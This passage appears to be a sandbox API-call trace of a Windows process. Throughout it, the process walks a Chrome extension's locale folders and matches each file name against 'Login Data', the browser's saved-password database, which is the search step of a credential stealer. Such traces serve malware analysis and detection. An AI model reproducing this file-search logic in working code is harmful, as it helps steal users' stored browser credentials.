Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned 132 [0056.615] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned 132 [0056.615] lstrlenA (lpString="\\*.*") returned 4 [0056.615] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2dc508 [0056.615] lstrcpyA (in: lpString1=0x2dc508, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil" [0056.615] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*" [0056.615] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.616] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.616] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.616] LocalFree (hMem=0x2dc508) returned 0x0 [0056.616] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.616] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.616] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.616] lstrlenA (lpString="fr") returned 2 [0056.616] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.616] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0056.616] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.616] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned 131 [0056.616] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned 131 [0056.616] lstrlenA (lpString="\\*.*") returned 4 [0056.616] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2dc2e8 [0056.616] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*" [0056.616] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.616] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.616] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.616] LocalFree (hMem=0x2dc2e8) returned 0x0 [0056.616] LocalFree (hMem=0x2dc3f8) returned 0x0 [0056.616] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.616] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.616] lstrlenA (lpString="he") returned 2 [0056.616] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.616] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0056.616] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he" [0056.616] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*" [0056.616] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.617] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.617] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.617] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.617] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.617] lstrlenA (lpString="hi") returned 2 [0056.617] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.617] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0056.617] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*" [0056.617] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hi\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.617] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.617] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.617] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.617] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.617] lstrlenA (lpString="hu") returned 2 [0056.617] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.617] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0056.617] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu" [0056.617] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*" [0056.617] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.617] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.617] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.618] lstrlenA (lpString="id") returned 2 [0056.618] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.618] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*" [0056.618] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*.*", lpFindFileData=0x21ef30 | out: lpFindFileData=0x21ef30) returned 0x2dc9b8 [0056.618] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0056.618] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.618] lstrlenA (lpString="it") returned 2 [0056.618] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dc3f8 [0056.618] lstrcpyA (in: lpString1=0x2dc3f8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.618] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" [0056.618] lstrcpyA (in: lpString1=0x2dc2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 